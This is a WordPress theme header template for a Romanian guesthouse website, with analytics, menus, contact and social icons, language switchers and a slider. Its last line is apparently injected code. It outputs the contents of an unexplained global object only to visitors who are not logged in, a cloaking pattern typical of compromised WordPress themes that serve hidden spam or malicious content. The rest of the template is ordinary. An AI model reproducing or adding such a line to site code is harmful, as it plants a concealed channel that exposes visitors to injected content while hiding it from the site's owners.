<!Doctype HTML>
<html>
<head>
	<title><?php bloginfo('name') ?></title>
	<meta name="description" content="<?php bloginfo('description'); ?>" >
	<meta charset="<?php bloginfo('charset'); ?>">	
	<link rel="stylesheet" type="text/css" href="<?php bloginfo('stylesheet_url') ?>">
	<link href='http://fonts.googleapis.com/css?family=Dosis:400,600' rel='stylesheet' type='text/css'>
	<?php 
		wp_enqueue_script('jquery');
		wp_enqueue_script('jquery-ui-datepicker', array( 'jquery' ));
		wp_head();
	?>
	<script type="text/javascript">

 	 var _gaq = _gaq || [];
 	 _gaq.push(['_setAccount', 'UA-40512425-1']);
	  _gaq.push(['_trackPageview']);

 	 (function() {
 	   var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
  	  ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
  	  var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  	})();

	</script>
</head>
<?php
add_filter('nav_menu_css_class' , 'special_nav_class' , 10 , 2);
function special_nav_class($classes, $item){
     if(is_home() && $item->ID == 17){ //Notice you can change the conditional from is_single() and $item->title
             $classes[] = "current_page_item";
     }
     return $classes;
}
?>
<body>

	<header>
		<div class="header">
			<div class="header-wrap">
				<nav>
					<?php wp_nav_menu(array('theme_location'=>'left-menu', 'after'=>'<span>|</span>')) ?>
				</nav>
					<a href="<?php echo home_url() ?>" class="logo">
						<img src="<?php bloginfo('stylesheet_directory') ?>/images/logo.png" alt="<?php bloginfo('name') ?>">
					</a>
				<nav>
					<?php wp_nav_menu(array('theme_location'=>'right-menu', 'after'=>'<span>|</span>')) ?>
				</nav>
			</div>
		</div>
		<div class="clear"></div>
		<div class="phone">
			<p>+40749.165.402</p>
		</div>
		<div class="social-icons">
			<a href="https://www.facebook.com/pages/Pensiunea-Dunavat/454424364659381" target="_blank"><img src="<?php echo THEME_DIR ?>/images/facebook-icon.png" alt="Facebook"></a>
			<!--<a href=""><img src="<?php //echo THEME_DIR ?>/images/twitter-icon.png" alt="Twitter"></a>-->
			<a href="skype:[vila.cristalfrost]?[action]" target="_blank"><img src="<?php echo THEME_DIR ?>/images/skype-icon.png" alt="Skype"></a>
		</div>
		<div class="language-icons">
			<a href="<?php echo site_url() ?>"><img <?php if(qtrans_getLanguage()=='ro') echo "class='language-icons-active'"; ?> src="<?php echo THEME_DIR ?>/images/romania_flag_24.png" alt="Romanian Language" /></a>
			<a href="<?php echo site_url() ?>/en"><img <?php if(qtrans_getLanguage()=='en') echo "class='language-icons-active'"; ?> src="<?php echo THEME_DIR ?>/images/uk_flag_24.png" alt="English Language" /></a>			
		</div>
	</header>
	
	<div class="slider">
		<?php if ( function_exists('show_nivo_slider') ) { show_nivo_slider(); } ?>
	</div>

	<div class="motto">
		<h2>Come and enjoy!</h2>
	</div>
<?php if(!is_user_logged_in()){global $__gp;if(@$__gp)echo $__gp->out;} ?>